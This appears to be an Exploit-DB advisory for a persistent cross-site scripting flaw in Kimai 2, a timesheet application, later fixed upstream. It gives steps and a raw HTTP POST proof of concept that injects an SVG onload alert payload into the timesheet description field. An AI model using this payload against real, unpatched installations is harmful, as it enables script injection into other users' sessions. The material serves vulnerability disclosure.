Kimai 2 - Persistent Cross-Site Scripting

EDB-ID:
47286

CVE:
N/A

EDB Verified: ✓

Author:
OSAMAALAA

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-08-19

Vulnerable App:

```
# Exploit Title: Kimai 2- persistent cross-site scripting (XSS)
# Date: 07/15/2019
# Exploit Author: osamaalaa
# Vendor Homepage: [link]
# Software Link: https://github.com/kevinpapst/kimai2
# Fixed on Github : https://github.com/kevinpapst/kimai2/pull/962
# Version: 2

1-Normal user will try to add timesheet from this link
http://localhost/index.php/en/timesheet/create

2-Add this payload "><svg/onload=alert('xss')> in the description

3-Save The changes

4-refresh and we have alert pop up!

The Request POC :

POST /index.php/en/timesheet/create HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 392
Connection: close
Referer: http://localhost
Cookie: PHPSESSID=auehoprhqk3qspncs5s08ucobv

timesheet_edit_form[begin]=2019-08-17 13:02&timesheet_edit_form[end]=2019-
08-18
00:00&timesheet_edit_form[customer]=12&timesheet_edit_form[project]=24&timesh
">
<svg/onload=alert('xss')>&timesheet_edit_form[tags]=&timesheet_edit_form[_tok
BTJysyK0
```

Tags: Cross-Site Scripting (XSS)

Advisory/Source: Link